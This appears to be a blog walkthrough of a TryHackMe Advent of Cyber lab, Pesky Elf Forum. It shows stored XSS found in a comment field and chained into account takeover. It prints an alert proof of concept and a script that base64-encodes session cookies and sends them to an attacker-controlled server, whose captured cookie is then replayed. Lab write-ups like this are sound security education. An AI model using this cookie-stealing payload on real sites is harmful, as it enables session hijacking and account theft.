[Day 5] Web Exploitation Pesky Elf Forum TryHackMe Advent Of Cyber

introduction

Hello guys here i am back again with another walkthrough. We’ll be solving day 5 of advent of cyber courtesy of TryHackMe but with a little bit of twist. We are going to make the challenge a bit more harder. Do some JavaScript coding nothing too fancy and exploit the web application using a whole new perspective than the one TryHackMe offers. You might be asking why I’ve decided to do day 5 of the challenge and not the rest of the challenges from day 1 and it’s because i saw it as a huge learning opportunity since there are a few tricks i want to teach you guys that have come in handy a couple of time during my assessments. Without much say let’s jump in.

The challenge starts of by us spawning a machine mine had the IP Address of 10.10.76.173. Yours might be different nothing to worry about but we have the credentials of one single user. The credentials are :

username: McSkidy
password: password

That’s okay. The challenge points us to the fact that the web application may be vulnerable to XSS. But normally when approaching a web application i would run tools like gobuster, ffuf, nikto etc but this time I’ll not use them.

On opening the web application we get a simple website that has some comments but

But we are asked to log in to post a comment on the web application. Luckily we have a credential that we know might give us authenticated access to the web application. So let’s try to log in

Visiting the login form we get a standard login page

Here we might test for vulnerabilities like

1. SQL Injection
2. NOSQL injection
3. LDAP Injection
4. XPATH Injection
5. Default credentials
6. perform a brute force attack (Which 99% of the time i really don’t recommend)

But I didn’t since we already have a credential to access uthenticated endpoints of the web application

On supplying those credentials we are allowed to access the application as an authenticated user

Going to settings we can see that we are allowed to change our passwords

But already am seeing an insecure design on the application it doesn’t ask for the old password. This might leave the application vulnerable in case an attacker gets a session that is already authenticated. They can change a user’s password without having the knowledge of their old password.

About a week ago i was performing a penetration testing on a loan application used by many banks world wide and found an account takeover since there was no proper validation of a user logged in and the old password when a user is asked to change their password. But since it a zero day i can’t do a writeup until a patch has been issues and the vendor agrees for vulnerability disclosure. But It’s good to check the old password before changing a user’s password. The second vulnerability is called cross site request forgery. The authenticity of the request cannot be determined since the change password field lack a cross site request forgery token

But enough of that. If we go to the comments now we can post comments on the web application. Which is nice

Looking at the dates we see Grinch comments after we comments meaning the comment section has some user interaction (in our case simulated by using a script with probably a cron job)

That’s good to know and whenever we see user interaction the first thing that i normally test is for XSS or cross site scripting. I start with the simple payloads like alert before creating more complex payload. The alert will just act as a proof of concept to show that the site is vulnerable.

So in the comment section i just wrote the following one liner JavaScript payload

<script> alert(document.domain);</script>

Then sent the comment

And looking at the screenshot below it works the site is vulnerable to cross site scripting

Sweet. XSS might be a dangerous vulnerability if properly exploited in our case if conditions are favorable we may even get an account takeover as you will see

First what i do is check to see how my cookies are stored using the developers tools. This will determine how i will perform my attack

Looking at the screenshot above we an notice that HTTPOnly flag has been set to false meaning we can steal the token of any user logged in on the application and send it to a server that we control through a GET parameter. If the flags were true this attack wouldn’t be possible.

Hence i created a simple payload script that would automatically capture the session cookie of an authenticated user convert it to base64 and then send that cookie to a python HTTP server that i control.

<script>
var url = "http://10.8.2.58:8000/";
var req = new XMLHttpRequest();
req.open('GET', url +'/musyoka?cookie=' + btoa(document.cookie), true);
req.withCredentials = true;
req.send();
</script>

Next i started a Python HTTP server and posted the payload as the comment

After a few seconds we get two different base64 encoded cookie

The first cookie it ours since it was retrieved after i posted the comment and the second probably it’s not our. So i base64 decoded the cookie

Added the cookie to my browser and refreshed the webpage

Going back to the setting page and click disable we get the flag for the challenge

t

What we’ve seeing happening is chaining a XSS vulnerability to get an account takeover. That’s why XSS if chained properly can be a critical vulnerability on an application. I know TryHackMe shows a different way of doing the challenge which you can also do. But that’s it for now till next time it’s good bye